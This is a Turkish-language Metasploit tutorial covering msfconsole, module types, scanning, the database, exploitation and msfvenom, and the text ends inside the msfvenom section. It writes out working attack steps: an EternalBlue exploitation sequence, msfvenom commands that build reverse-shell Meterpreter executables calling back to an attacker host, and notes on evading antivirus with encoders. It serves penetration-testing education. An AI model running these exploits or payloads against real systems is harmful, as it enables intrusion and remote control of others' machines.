

METASPLOİT TEMELLERİ

[Kaynak](#) - [Kaynak](#) - [Kaynak](#)

İÇERİK

1. Metasploit Temelleri ve Ana Bileşenler
2. Metasploit Komuta Merkezi: msfconsole
3. Modüllerle Çalışmak: Yapılandırma ve Sömürü
4. Metasploit: Güvenlik Açığı Sömürüsü - Port Tarama ve Keşif (Information Gathering)
5. Metasploit Veritabanı ve Proje Yönetimi
6. Zafiyet Tarama ve "Kolay Hedefler" (Low-Hanging Fruit)
7. Sömürü (Exploitation) Aşaması
8. Msfvenom: Özel Payload Oluşturma ve Yönetimi
9. Metasploit: Meterpreter'a Giriş: Sızma Testinin İsviçre Çakısı
10. Meterpreter Çeşitleri (Flavors) ve Seçim Kriterleri
11. Meterpreter Komutları: Kontrolü Ele Almak
12. Meterpreter ile Sömürü Sonrası (Post-Exploitation)
13. Meterpreter ile Gelişmiş Sömürü Sonrası (Post-Exploitation Challenge)

Metasploit Temelleri ve Ana Bileşenler

Metasploit Framework (MSF), bir sızma testinin neredeyse her aşamasında kullanılan devasa bir araç setidir. Bu notlarda, Metasploit'in iskeletini oluşturan modül yapılarını ve temel terminolojiyi inceleyeceğiz.

Metasploit ile etkileşime geçmek için en yaygın kullanılan arayüz **msfconsole**'dur. Terminale `msfconsole` yazarak bu interaktif satıra ulaşırız. Burası, tüm modülleri yönettiğimiz ana kumanda merkezimizdir.

1. Temel Kavramlar (Sözlük)

Modüllere geçmeden önce, bir siber güvenlik uzmanının asla karıştırmaması gereken üç temel terimi netleştirelim:

- **Vulnerability (Zafiyet):** Hedef sistemdeki bir tasarım hatası, kodlama yanlışı veya mantık hatasıdır. Sistemin kapısındaki bir "açık" veya "zayıf halka" olarak düşünülebilir.
- **Exploit (Sömürü Kodu):** Bir zafiyeti suistimal etmek için yazılmış kod parçasıdır. Kapıdaki açığı (zafiyet) kullanarak içeri girmemizi sağlayan "anahtar" veya "yöntemdir".
- **Payload (Yük):** Exploit başarılı olduktan sonra hedef sistemde ne yapmasını istediğimizi belirleyen kod parçasıdır. Kapıdan içeri girdikten sonra içeride yürüteceğimiz "eylemidir" (Örn: Komut satırı erişimi almak, dosya çalmak).

2. Metasploit Modül Yapısı

Metasploit içerisinde her işlev bir modül olarak tanımlanmıştır. Bu modüller

`/opt/metasploit-framework/embedded/framework/modules` dizini altında kategorize edilir.

Auxiliary (Yardımcı Modüller)

Doğrudan bir sistemi sömürmek (exploit etmek) yerine, keşif ve destek amaçlı kullanılırlar.

- **Kullanım Alanları:** Port tarayıcılar (scanners), veri toplama araçları (gather), servisleri analiz eden araçlar (fuzzers) ve brute-force (kaba kuvvet) saldırıları.
- **Mantık:** Bir zafiyeti tetiklemezler, ancak sömürü öncesi bilgi toplamak için kritiktirler.

Exploits (Sömürü Modülleri)

Belirli bir zafiyete yönelik geliştirilmiş kodları barındırır. İşletim sistemlerine göre (Windows, Linux, Android, vb.) klasörlenmiştir. Bir exploit modülü seçildiğinde, genellikle yanında bir **Payload** seçilmesi de beklenir.

Encoders (Kodlayıcılar)

Exploit ve payload'ları farklı formatlarda kodlayarak, imza tabanlı (signature-based) antivirüs (AV) çözümlerini atlatmaya çalışırlar.

- **Çalışma Mantığı:** AV yazılımları, bilinen tehditlerin "imzalarını" içeren bir veritabanına sahiptir. Encoder modülleri, bu imzayı bozarak dosyanın tanınmasını zorlaştırır.
- **Dikkat:** Güncel AV sistemleri sadece imzaya bakmaz, dosyanın davranışını da izler. Bu yüzden encoder'ların başarı şansı her zaman %100 değildir.

Evasion (Atlatma Modülleri)

Encoder'lardan daha gelişmiş bir yapıdadır. Doğrudan antivirüs yazılımlarını veya Windows Defender gibi güvenlik duvarlarını atlatmak için özel teknikler (örneğin bellek içi çalıştırma) kullanırlar.

NOPs (No Operation)

CPU'ya "hiçbir şey yapma" talimatı veren komutlardır (x86 mimarisinde `0x90`).

- **Neden Kullanılır?** Payload boyutlarını sabit tutmak veya exploit sırasında işlemciyi belirli bir bellek adresine yönlendirmek için "tampon" (buffer) bölge oluştururlar.

Post (Sömürü Sonrası Modüller)

Hedef sistemde ilk erişimi sağladıktan sonra kullanılırlar.

- **Amaç:** Bilgi toplama (şifreleri okuma), sistemde kalıcılık sağlama (persistence) veya ağda yanlara doğru yayılma (pivoting).

3. Payloads (Yükler) Derin Bakış

Payload'lar, hedefte çalışacak asıl koddur. Metasploit'te payload'lar yapısal olarak dört alt kategoriye ayrılır:

1. **Singles (Tekil/Inline):** Tek başlarına çalışabilen, ek bir bileşene ihtiyaç duymayan paketlerdir. (Örn: Sadece `calc.exe` çalıştır veya yeni kullanıcı ekle).
2. **Stagers:** Hedef ile bizim makinemiz arasındaki iletişim kanalını kuran küçük kod parçalarıdır.
3. **Stages:** Stager tarafından kurulan kanal üzerinden indirilen daha büyük ve karmaşık payload bileşenleridir (Örn: **Meterpreter**).
4. **Adapters:** Mevcut payload'ları farklı formatlara (Örneğin bir Powershell komutuna) sarmak (wrap) için kullanılır.

Staged vs Inline (Single) Payload Ayrımı

Metasploit'te bir payload'un isimlendirme formatı, onun türünü belirler. Bu ayrımı bilmek sızma testlerinde kritiktir:

- **Inline Payload Örneği:** `generic/shell_reverse_tcp`
 - **İpucu:** İsimdeki `shell` ve `reverse` arasında **alt tire (_)** varsa bu bir "Single" (tek parça) payload'dur. Her şey tek seferde gönderilir.
- **Staged Payload Örneği:** `windows/x64/shell/reverse_tcp`
 - **İpucu:** İsimde `shell` ve `reverse` arasında **eğik çizgi (/)** varsa bu bir "Staged" payload'dur. Önce küçük bir parça (stager) gider, sonra asıl yük (stage) indirilir.

Neden Staged? Hedef sistemdeki bellek alanı kısıtlıysa veya çok büyük bir exploit kodu ağda dikkat çekecekse, önce küçük bir kanal açıcı (stager) göndermek daha mantıklıdır.

Metasploit Komuta Merkezi: msfconsole

Metasploit Framework ile olan tüm etkileşimimiz ana arayüz olan **msfconsole** üzerinden gerçekleşir. Bu konsol, sadece modülleri çalıştırmakla kalmaz, aynı zamanda sistem komutlarını yürütmemize ve karmaşık sızma testi senaryolarını yönetmemize olanak tanır.

1. Konsolun Başlatılması ve Temel Özellikler

Uçbirime (terminal) `msfconsole` yazarak arayüze giriş yapılır. Giriş yaptıktan sonra karşımıza çıkan banner kısmında mevcut **exploit**, **auxiliary**, **post**, **payload**, **encoder** ve **nops** sayıları istatistiksel olarak gösterilir.

İşletim Sistemi Komutlarını Kullanma

`msfconsole` , standart bir Linux shell gibi davranabilir. Konsol içinden çıkmadan temel sistem komutlarını çalıştırabilirsiniz:

- `ls` : Mevcut dizindeki dosyaları listeler.
- `ping -c 1 8.8.8.8` : Google DNS sunucusuna tek bir paket gönderir (Linux altyapısı olduğu için `-c 1` eklemek sonsuz pingi önler).
- `clear` : Ekranı temizler.

Önemli Kısıtlama: Metasploit konsolu "çıktı yönlendirmeyi" (output redirection) desteklemez. Örneğin `help > yardım.txt` komutu çalışmayacaktır; çünkü `>` operatörü msfconsole tarafından tanınmaz.

Yardım ve Geçmiş

- **help:** Genel yardım menüsünü açar. Belirli bir komut hakkında bilgi almak için `help [komut]` (Örn: `help set`) kullanılır.
- **history:** O ana kadar konsolda yazdığınız tüm komutları listeler. Geçmişte ne yaptığınızı hatırlamak için hayat kurtarıcıdır.
- **Tab Tamamlama:** Tıpkı Linux terminalindeki gibi, bir komutun veya modül yolunun birkaç harfini yazıp **Tab** tuşuna basarsanız otomatik tamamlanır.

2. Context (Bağlam) Mantığı

Metasploit "bağlam" (context) esasına göre çalışır. Bir modülü seçtiğinizde, artık o modülün **bağlamına** girmiş olursunuz.

Modül Seçimi ve Geçiş

Bir modülü kullanmak için `use` komutu kullanılır:

Bash

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```

Bu komuttan sonra prompt (komut satırı başı) değişerek hangi modülün içinde olduğunuzu gösterir: `msf6 exploit(windows/smb/ms17_010_eternalblue) >`

- **Değişkenlerin Kapsamı:** Bir modül içinde set ettiğiniz bir değişken (örneğin IP adresi), aksi belirtilmedikçe (global yapılmadıkça) sadece o modül için geçerlidir. Başka bir modüle geçtiğinizde bu ayarlar sıfırlanır.
- **back:** Mevcut modül bağlamından çıkıp ana menüye dönmenizi sağlar.

3. Modül Yapılandırması (show options & info)

Bir modülü seçtikten sonra onu hedef sisteme göre özelleştirmeniz gerekir.

show options

Modülün çalışması için gereken parametreleri listeler.

- **RHOSTS (Remote Hosts):** Hedef makinenin IP adresi veya adres aralığı.
- **RPORT (Remote Port):** Hedefteki servis portu (Örn: SMB için 445).
- **LHOST (Local Host):** Kendi makinenizin (saldırganın) IP adresi (Reverse shell'in döneceği adres).
- **LPORT (Local Port):** Kendi makinenizde dinlemeye alacağınız port.

info

Modül hakkında teknik bir "künye" sunar. Modülün yazarı, yayınlanma tarihi, hangi zafiyeti (CVE) hedeflediği ve en önemlisi **modülün nasıl çalıştığına dair detaylı bir açıklama** buradadır. Özellikle "reliability" (güvenilirlik) ve sistemde çökme yapıp yapmayacağı bilgisini buradan kontrol etmelisiniz.

show payloads

Mevcut exploit ile uyumlu olan payload'ları listeler. Her exploit her payload ile çalışmaz; bu komut size sadece "çalışabilir" olanları süzer.

4. Search (Arama) Komutu ve Filtreleme

Binlerce modül arasında doğru olanı bulmak için `search` komutu kullanılır.

Akıllı Filtreleme

Sadece kelime aramak yerine filtreler kullanarak sonuçları daraltabilirsiniz:

- **Platform bazlı:** `search platform:windows`
- **Tür bazlı:** `search type:auxiliary telnet` (Sadece telnet ile ilgili yardımcı modülleri getirir).
- **CVE bazlı:** `search cve:2017`
- **Numara ile kullanım:** Arama sonuçlarında modülün başındaki numarayı kullanarak hızlıca seçebilirsiniz: `use 2`.

Exploit Ranking (Güvenilirlik Derecesi)

Arama sonuçlarındaki **Rank** sütunu, ilgili sömürü kodunun ne kadar stabil olduğunu gösterir:

- **Excellent:** Sistemi çökertme ihtimali çok düşük, hedefi düzgün vuran kodlar.
- **Great:** Çoğu durumda stabil çalışan kodlar.
- **Normal/Average:** Çalışma ihtimali olan ancak bazı durumlarda hedef sistemi (BSOD - Mavi ekran gibi) çökertebilecek kodlar.

Uyarı: En yüksek rütbeli exploit bile hedef sistemde beklenmedik bir hataya (crash) neden olabilir. Canlı sistemlerde işlem yaparken her zaman temkinli olunmalıdır.

Modüllerle Çalışmak: Yapılandırma ve Sömürü

Metasploit'te bir modülü seçmek yolun sadece yarısıdır. Modülün hedefe ulaşabilmesi için doğru parametrelerle beslenmesi gerekir. Bu aşama, sızma testinin "mühimmatı namluya sürme" kısmıdır.

1. Komut Satırı İpuçları ve Prompt Türleri

Metasploit kullanırken terminalin solunda gördüğünüz yazı (prompt), hangi yetki seviyesinde ve hangi bağlamda olduğunuzu söyler. Bunları karıştırmak, komutların neden çalışmadığını anlamamanıza yol açar:

- `root@ip-10-x-x-x:~#` : Normal Linux terminalidir. Metasploit komutları burada çalışmaz.
- `msf6 >` : Metasploit ana konsoludur. Henüz bir modül seçilmemiştir.
- `msf6 exploit(modül_adı) >` : Bir modülün içindesiniz (Context). Parametreleri burada ayarlarsınız.
- `meterpreter >` : Hedef sistemi sömürdünüz ve gelişmiş bir Meterpreter oturumu açtınız demektir.
- `C:\Windows\system32>` : Hedef sistemin doğrudan kendi komut satırındasınız (Shell).

2. Parametreleri Ayarlama (set & setg)

Bir modülün içine girdiğinizde ilk yapmanız gereken şey `show options` komutunu vermektir. Bu komut size iki önemli tablo sunar: **Module Options** (modülün çalışması için gerekenler) ve **Payload Options** (saldırı sonrası bağlantı için gerekenler).

Temel Değişkenler

Sıkça karşılaşacağınız parametreler şunlardır:

- **RHOSTS (Remote Hosts)**: Hedef IP adresi. Tek bir IP (`10.10.1.5`), bir ağ aralığı (`10.10.1.1-10.10.1.50`) veya CIDR notasyonu (`10.10.1.0/24`) olabilir. Ayrıca bir dosyadan hedef okumak için `file:/yol/hedefler.txt` şeklinde de kullanılabilir.
- **RPORT (Remote Port)**: Hedefteki servis portu.
- **LHOST (Local Host)**: Sizin IP adresiniz (VPN IP'niz veya yerel IP'niz).
- **LPORT (Local Port)**: Sizin makinenizde bağlantıyı bekleyeceğiniz port (Genelde 4444 varsayılandır ama değiştirilebilir).
- **SESSION**: Post-exploitation (sömürü sonrası) modüllerinde, hangi mevcut oturum üzerinden işlem yapılacağını belirtir.

Değer Atama ve Temizleme

- `set RHOSTS 10.10.165.39` : Değişkeni atar.
- `unset RHOSTS` : Belirli bir değişkenin değerini siler.
- `unset all` : Modül içindeki tüm ayarları sıfırlar.

Global Değişkenler (setg)

Sürekli aynı IP adresiyle (RHOSTS) veya kendi IP'nizle (LHOST) çalışıyorsanız, her modülde tek tek `set` yazmak yorucudur.

- `setg RHOSTS 10.10.165.39` : Bu komutu kullandığınızda, Metasploit kapatılana kadar seçeceğiniz **tüm** modüllerde RHOSTS otomatik olarak bu IP ile dolar.
- `unsetg RHOSTS` : Global atamayı kaldırır.

3. Modülü Çalıştırma: `exploit` ve `run`

Tüm ayarlar "Required: yes" olan kısımları dolduracak şekilde yapıldıysa artık tetiği çekebiliriz:

- `exploit / run` : Modülü başlatır. (`run` genellikle auxiliary modülleri için, `exploit` ise sömürü modülleri için tercih edilir ama ikisi de aynı işi yapar).
- `exploit -z` : Exploit başarılı olduğunda doğrudan oturumun (session) içine girmez; oturumu arka planda (background) açar. Birden fazla hedefle uğraşırken çok kullanışlıdır.
- `check` : Bazı modüllerde bulunur. Hedefe herhangi bir saldırı yapmadan, sadece zafiyetin var olup olmadığını kontrol eder. "Sistemi çökertmeden bir baksam yeter" dediğiniz durumlar için idealdir.

4. Oturum Yönetimi (Sessions)

Sömürü başarılı olduğunda Metasploit bir **Session** oluşturur. Bu, sizinle kurban arasındaki canlı hattır.

Oturumları Yönetme Komutları

- `background` : Aktif bir Meterpreter oturumundan, o oturumu kapatmadan çıkıp Metasploit konsoluna dönmenizi sağlar (Kısayol: `CTRL + Z`).
- `sessions` : O an açık olan tüm canlı bağlantıları listeler. Hangi ID numarasına sahip olduğunu buradan görürsünüz.
- `sessions -i [ID]` : Belirtilen ID'ye sahip oturuma tekrar bağlanmanızı (etkileşime geçmenizi) sağlar.

Örnek: `sessions -i 2` komutu, arka plandaki 2 numaralı Meterpreter oturumuna sizi geri döndürür.

Metasploit: Güvenlik Açığı Sömürüsü - Port Tarama ve Keşif (Information Gathering)

Metasploit, sadece bir sömürü (exploitation) aracı değil, aynı zamanda hedef sistemdeki açık portları ve çalışan servisleri tespit etmek için kullanılabilecek güçlü **Auxiliary (Yardımcı)** modüllere sahiptir. Her ne kadar `nmap` kadar hızlı olmasa da, Metasploit içindeki tarayıcılar elde edilen verileri doğrudan framework içinde kullanmamıza olanak tanır.

1. Port Tarama Modülleri

Metasploit içindeki port tarama araçlarını bulmak için `search portscan` komutunu kullanırız.

Yaygın Kullanılan Tarama Türleri

- `auxiliary/scanner/portscan/tcp` : En temel TCP port tarayıcısıdır. Hedef portlarla tam bir üçlü el sıkışma (3-way handshake) kurmaya çalışır.
- `auxiliary/scanner/portscan/syn` : "Half-open" tarama yapar. Daha sessizdir ve bağlantıyı tam tamamlamadan portun açık olup olmadığını anlar.
- `auxiliary/scanner/portscan/ack` : Bir güvenlik duvarı (Firewall) olup olmadığını veya filtreleme kurallarını tespit etmek için kullanılır.

Önemli Yapılandırma Parametreleri

Bir port tarama modülünü (`use`) seçtikten sonra `show options` ile şu kritik ayarları yapmamız gerekir:

Parametre	Açıklama
CONCURRENCY	Aynı anda kaç hedefin taranacağını belirler.
PORTS	Taranacak port aralığıdır. Dikkat: Nmap'teki gibi "en yaygın 1000 port" değil, belirttiğiniz sayı aralığını (örn: 1-1000) tek tek tarar.
THREADS	Eşzamanlı çalışan iş parçacığı sayısıdır. Bu değeri artırmak taramayı hızlandırır ancak hedef sistemde çok fazla gürültü çıkarabilir.
TIMEOUT	Yanıt beklerken milisaniye cinsinden zaman aşımı süresidir.

2. Metasploit İçinden Nmap Kullanımı

Eğer Metasploit'in kendi tarayıcıları yavaş gelirse veya Nmap'in gelişmiş özelliklerine (versiyon tespiti, script kullanımı vb.) ihtiyaç duyarsanız, **msfconsole** içinden çıkmadan doğrudan `nmap` komutunu çalıştırabilirsiniz:

Bash

```
msf6 > nmap -sS 10.10.12.229
```

- `-sS` : Gizli (Stealth) SYN taraması başlatır.
- Sonuç:** Konsol içinde Nmap çıktısını doğrudan görebilirsiniz. Bu yöntem, hızı ve doğruluğu nedeniyle profesyoneller tarafından sıkça tercih edilir.

3. Servis ve Protokol Keşfi

Portların açık olduğunu bilmek yetmez; o portlarda tam olarak neyin çalıştığını anlamak gerekir.

UDP Keşfi (udp_sweep)

UDP protokolü bağlantısız (connectionless) olduğu için taraması zordur.

`auxiliary/scanner/discovery/udp_sweep` modülü, yaygın UDP servislerine (DNS, NetBIOS vb.) "prob" adı verilen küçük paketler göndererek hızlıca yanıt bekler.

- **Neden Kullanılır?** Hedefte gizli kalmış bir DNS sunucusu veya NetBIOS servisi olup olmadığını saniyeler içinde anlamak için.

SMB Taramaları

Özellikle Windows ağlarında SMB servisi en büyük zafiyet kaynağıdır. Metasploit burada çok spesifik detaylar verebilir:

- `scanner/smb/smb_version` : Hedefin hangi Windows sürümünü (Windows 7, Server 2012 vb.) kullandığını ve Service Pack (SP) seviyesini net bir şekilde söyler.
- `scanner/smb/smb_enumshares` : Hedefteki paylaşılan klasörleri (shares) listeler. Bazen şifresiz veya zayıf şifreli bir klasör bulup oradan hassas dosyalara erişebilirsiniz.

NetBIOS Keşfi

NetBIOS taramaları, makine adını (hostname) ve çalışma grubunu (workgroup) verir.

İpucu: Hedef isminin `CORP-DC` olması onun bir Domain Controller (Ana Sunucu) olduğunu, `DEV-PC` olması ise bir yazılımcı bilgisayarı olduğunu gösterir. Bu bilgi, saldırı önceliğinizi belirlemenize yardımcı olur.

4. Özet Akış Şeması

1. Hedefi belirle (`set RHOSTS`).
2. Port taraması yap (`auxiliary/scanner/portscan/tcp` veya `nmap`).
3. Açık portlardaki servisleri tanımla (`smb_version` , `udp_sweep`).
4. Elde edilen versiyon ve servis bilgilerine göre uygun **Exploit**'i ara (`search`).

Metasploit Veritabanı ve Proje Yönetimi

Gerçek bir sızma testi (penetration testing) operasyonunda onlarca, hatta yüzlerce hedefle karşılaşabilirsiniz. Her hedef için IP adreslerini manuel girmek, hangi portun açık olduğunu not defterinden bakıp `set` komutuyla yazmak hem zaman kaybıdır hem de hata payını artırır.

Metasploit Veritabanı, bu süreci otomatize ederek tüm tarama sonuçlarını saklamanızı ve yönetmenizi sağlar.

1. Veritabanını Hazırlama ve Başlatma

Metasploit, veritabanı altyapısı olarak **PostgreSQL** kullanır. Eğer kendi Kali Linux'unuzda veya yerel makinenizdeyseniz, şu adımları izlemeniz gerekir:

1. **Servisi Başlat:** `systemctl start postgresql`
2. **Veritabanını İklendir (Initialize):** `msfdb init`
 - *Not:* Eğer root kullanıcısıdaysanız, güvenli bir şekilde iklendirmek için `sudo -u postgres msfdb init` komutunu kullanmalısınız.
3. **Konsolu Aç ve Kontrol Et:** `msfconsole` içine girdikten sonra `db_status` komutunu yazın.
 - `[*] Connected to msf. Connection type: postgresql.` çıktısını görüyorsanız her şey yolundadır.

2. Workspace (Çalışma Alanı) Mantığı

Workspace'ler, farklı projelerin verilerini birbirine karıştırmamanızı sağlar. Örneğin "A Şirketi" için yaptığınız taramalar ile "B Şirketi" taramaları farklı alanlarda durmalıdır.

- `workspace` : Mevcut çalışma alanlarını listeler. (Yanında `*` olan aktif olandır).
- `workspace -a <isim>` : Yeni bir çalışma alanı ekler.
- `workspace <isim>` : Belirtilen çalışma alanına geçiş yapar.
- `workspace -d <isim>` : Bir çalışma alanını ve içindeki tüm verileri siler.

3. Veritabanı Destekli Komutlar

Veritabanı bağlandığında, Metasploit'e yeni yetenekler eklenir. Bunların en önemlisi `db_nmap` komutudur.

db_nmap: Otomatik Kayıt

Standart `nmap` yerine `db_nmap` kullanırsanız, tarama bittiği anda tüm IP'ler, açık portlar ve servis versiyonları otomatik olarak veritabanına işlenir.

Bash

```
msf6 > db_nmap -sV -p 445 10.10.12.229
```

Verileri Sorgulama

Tarama bittikten sonra sonuçları görmek için şu komutları kullanırız:

- `hosts` : Veritabanındaki tüm cihazları (IP, MAC, OS vb.) listeler.
- `services` : Keşfedilen tüm servisleri (Port, Protokol, Versiyon) listeler.
- `services -S <servis_adı>` : Belirli bir servisi arar (Örn: `services -S http`).

4. Veritabanından Değişken Atama (hosts -R)

Bu özellik Metasploit'in en büyük "hız hilesidir". Veritabanındaki tüm host'ları tek bir komutla modülün içine aktarabilirsiniz.

Örnek Senaryo:

1. Bir ağı taradınız ve veritabanı doldu.
2. Bir SMB zafiyet tarayıcı modülü seçtiniz (`use auxiliary/scanner/smb/smb_ms17_010`).
3. `set RHOSTS 10.10.x.x` yazmak yerine `hosts -R` komutunu verin.
4. Metasploit, veritabanındaki tüm geçerli IP adreslerini otomatik olarak **RHOSTS** parametresine atar.

5. Stratejik İpucu: "Low-Hanging Fruits" (Kolay Hedefler)

Veritabanını sorgularken şu servislere odaklanmak sızma testini hızlandırır:

- **HTTP (80, 443):** Web uygulamalarındaki SQL Injection veya RCE açıkları için.
- **SMB (445):** MS17-010 (EternalBlue) gibi kritik zafiyetler için.
- **FTP (21):** Anonim giriş (Anonymous login) izinlerini kontrol etmek için.
- **RDP (3389):** Bluekeep zafiyeti veya zayıf parola denemeleri için.

Zafiyet Tarama ve "Kolay Hedefler" (Low-Hanging Fruit)

Metasploit, bir sistemdeki en zayıf halkaları hızla tespit etmek için tasarlanmış modüllerle doludur. Güvenlik terminolojisinde "**low-hanging fruit**" (alçak dallardaki meyveler), tespit edilmesi ve sömürülmesi çok kolay olan, saldırgana sisteme ilk girişi (foothold) sağlayan veya doğrudan **root/administrator** yetkisi veren zafiyetler için kullanılır.

1. Keşif ve Parmak İzi (Fingerprinting) İlişkisi

Metasploit'te doğru zafiyeti bulmak, hedef sistemi ne kadar iyi tanıdığınıza (fingerprinting) bağlıdır. Bir servisi sadece "açık" olarak görmek yetmez; versiyonunu ve yapılandırmasını bilmek Metasploit'in size sunduğu seçenekleri netleştirir.

Örnek Senaryo: VNC Servisi

Hedefte bir **VNC** (Virtual Network Computing - Uzak Masaüstü) servisi tespit ettiğinizi varsayalım. Metasploit içinde `search auxiliary/scanner/vnc/` komutunu kullandığınızda karşınıza çıkan bazı kritik tarayıcı modülleri şunlardır:

- `vnc_none_auth` : Şifre gerektirmeyen (kimlik doğrulamasız) VNC girişlerini arar. Bu tam bir "alçak dal meyvesi"dir; eğer varsa doğrudan masaüstüne bağlanırsınız.
- `vnc_login` : VNC servisi için kullanıcı adı ve şifre denemeleri (Brute Force) yapar.
- `ard_root_pw` : Apple Remote Desktop (ARD) üzerindeki belirli zafiyetleri tarar.

2. Modül Detaylarını İnceleme: info Komutu

Bir modülü kullanmadan önce onun ne yaptığını, hangi parametreleri beklediğini ve hangi zafiyet referanslarına (CVE) sahip olduğunu anlamak için `info` komutu hayati önem taşır.

Aşağıda `auxiliary/scanner/vnc/vnc_login` modülünün `info` çıktısındaki kritik alanların analizi yer almaktadır:

Temel Seçenekler (Basic Options)

Bu tablo, modülün çalışması için gereken "cephaneyi" belirler:

Parametre	Anlamı ve Mantiğı
BLANK_PASSWORDS	Şifresi boş bırakılmış kullanıcıları dener. Genellikle unutulan bir güvenlik açığıdır.
BRUTEFORCE_SPEED	0 ile 5 arasında bir değer alır. Hız arttıkça tespit edilme riskiniz (IPS/IDS tarafından) artar.
PASS_FILE	Şifre listesinin (wordlist) yoludur. Modül varsayılan olarak <code>/data/wordlists/vnc_passwords.txt</code> dosyasını kullanır.
STOP_ON_SUCCESS	<code>true</code> yapılırsa, geçerli bir şifre bulunduğu anda taramayı durdurur. Zaman kazandırır.
DB_ALL_CREDS	Eğer daha önceki adımlarda veritabanına kaydedilmiş kullanıcı bilgileri varsa, onları da denemeye dahil eder.

Modül Açıklaması (Description)

Info kısmının altındaki açıklama, modülün teknik sınırlarını çizer. Örneğin bu modülün **RFB (Remote Frame Buffer)** protokolünün 3.3'ten 4.001'e kadar olan versiyonlarını desteklediğini ve "challenge-response" yöntemini kullandığını buradan öğreniriz.

3. Zafiyet Taramasında Mantık Zinciri

Metasploit ile zafiyet tararken şu mantıkla ilerlemelisiniz:

- Servis Tespiti:** Port açık mı? (Nmap/db_nmap)
- Versiyon Analizi:** Hangi yazılım ve sürüm çalışıyor? (smb_version, http_version vb.)
- Yardımcı Modül (Auxiliary) Kullanımı:** Bir exploit denemeden önce, servisin yapılandırma hatalarını (zayıf şifre, anonim giriş) kontrol et.
- Bilgi Toplama:** `info` komutuyla modülün hangi CVE'lere hitap ettiğini kontrol et ve hedef sistemle eşleşip eşleşmediğine bak.

Önemli Not: Sadece bir zafiyet bulmak yetmez; o zafiyetin sistem üzerindeki etkisini (DoS mu yapıyor yoksa Remote Code Execution mı sağlıyor?) `info` kısmındaki **References** (CVE bağlantıları) üzerinden araştırmalısınız.

Sömürü (Exploitation) Aşaması

Metasploit'in kalbi, adından da anlaşılacağı üzere **Exploit** modülleridir. Bu aşama, hedefte tespit edilen bir zafiyetin uygun bir "anahtar" (exploit) ve "eylem planı" (payload) ile suistimal

edildiği kritik noktadır.

1. Doğru Payload Seçimi

Her exploit modülü, genellikle en stabil çalışan bir **varsayılan payload** ile gelir. Ancak hedef sistemin kısıtlamalarına (Firewall kuralları, Antivirüs, yüklü olmayan diller vb.) göre bu seçimi değiştirmeniz gerekebilir.

- **show payloads** : Mevcut exploit ile uyumlu olan tüm payload'ları listeler.
- **set payload <ID_veya_İsim>** : Listedeki seçtiğiniz payload'u aktif eder. (Örn: `set payload 2` veya `set payload windows/x64/meterpreter/reverse_tcp`).

Deneme-Yanılma Notu: Bazen bir payload (`python/shell_reverse_tcp`) hedefte Python yüklü olmadığı için çalışmayabilir. Bu gibi durumlarda `generic/shell_reverse_tcp` gibi daha temel veya `meterpreter` gibi daha gelişmiş seçenekler arasında geçiş yapmalısınız.

2. Exploitation Akışı (Adım Adım)

Bir sömürü işlemini başlatırken izlenen standart mantık zinciri şöyledir:

1. **Exploit Seçimi:** `use exploit/windows/smb/ms17_010_eternalblue`
2. **Hedef Ayarı:** `set RHOSTS 10.10.12.229`
3. **Kendi Bilgilerin:** `set LHOST <Kendi_IP_Adresin>` (Reverse shell'in size dönebilmesi için şarttır).
4. **Kontrol:** `show options` (Tüm "Required" alanların dolu olduğundan emin olun).
5. **Tetikleme:** `exploit` veya `run`.

Çıktı Analizi (Log Okuma)

Saldırı başladığında terminalde dönen satırlar size operasyonun gidişatı hakkında bilgi verir:

- `[*] Started reverse TCP handler` : Sizin makineniz bağlantıyı beklemeye başladı.
- `[+] Host is likely VULNERABLE` : Modül, hedefin zayıf olduğunu doğruladı.
- `[*] Sending stage...` : Sömürü başarılı oldu, asıl yük hedefe aktarılıyor.
- `[*] Command shell session 1 opened` : Tebrikler, içeridesiniz!

3. Oturum Yönetimi (Sessions)

Bir exploit başarılı olduğunda size bir **Session** (Oturum) verir. Bu bağlantıyı yönetmek, sızma testinin sürekliliği için hayati önem taşır.

Arka Plana Atma (Backgrounding)

İçeride işiniz bittiğinde veya başka bir modüle bakmanız gerektiğinde bağlantıyı koparmamalısınız:

- CTRL + Z : Aktif shell veya meterpreter oturumunu arka plana atar. Size "Background session X? [y/N]" diye sorar, y diyerek onaylarsınız.
- CTRL + C : Dikkat! Bu komut genellikle oturumu tamamen sonlandırır (abort).

Sessions Komutunun Gücü

sessions komutu sadece listeleme yapmaz, oturumları manipüle etmenizi sağlar:

- sessions -l : Tüm aktif oturumları listeler.
- sessions -i <ID> : Belirli bir oturuma tekrar bağlanır (Interact).
- sessions -u <ID> : Standart bir komut satırı (shell) oturumunu, daha gelişmiş bir Meterpreter oturumuna yükseltmeye çalışır (Upgrade).
- sessions -k <ID> : Belirli bir oturumu güvenli bir şekilde kapatır (Kill).

4. Pratik İpucu: Neden Reverse Shell?

Çoğu modern sistemde dışarıdan içeriye gelen bağlantılar (Bind Shell) güvenlik duvarı tarafından engellenir. Ancak içeriden dışarıya giden bağlantılara (Reverse Shell) genellikle izin verilir. Bu yüzden Metasploit'te LHOST ayarını doğru yapmak, exploit komutunun başarıya ulaşmasındaki en büyük etkidir.

Msfvenom: Özel Payload Oluşturma ve Yönetimi

Msfvenom, Metasploit Framework'ün en güçlü yan araçlarından biridir. Eski msfpayload ve msfencode araçlarının birleşimidir. Temel amacı; hedef sisteme uygun formatta (exe, php, elf vb.) bağımsız çalışan zararlı yazılımlar (payload) üretmektir.

1. Msfvenom ile Payload Üretimi

Msfvenom, binlerce kombinasyon sunar. Bir payload oluştururken şu temel parametreleri bilmek zorundayız:

- -p (**Payload**): Hangi payload kullanılacak? (Örn: windows/meterpreter/reverse_tcp)
- LHOST : Saldırganın (senin) IP adresi.
- LPORT : Bağlantının döneceği senin makinendeki port.
- -f (**Format**): Çıktı dosyası ne olsun? (exe, elf, raw, asp, php, python vb.)
- -e (**Encoder**): Payload'u kodlamak için kullanılır. (Örn: php/base64)
- > (**Yönlendirme**): Oluşturulan kodu bir dosyaya kaydeder.

Yaygın Kullanılan Payload Örnekleri

Hedef Sistem	Msfvenom Komutu	Açıklama
Windows (.exe)	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe	Standart Windows çalıştırılabilir

Hedef Sistem	Msfvenom Komutu	Açıklama
		dosyası.
Linux (.elf)	<code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf</code>	Linux için executable. (<code>chmod +x</code> gerektirir).
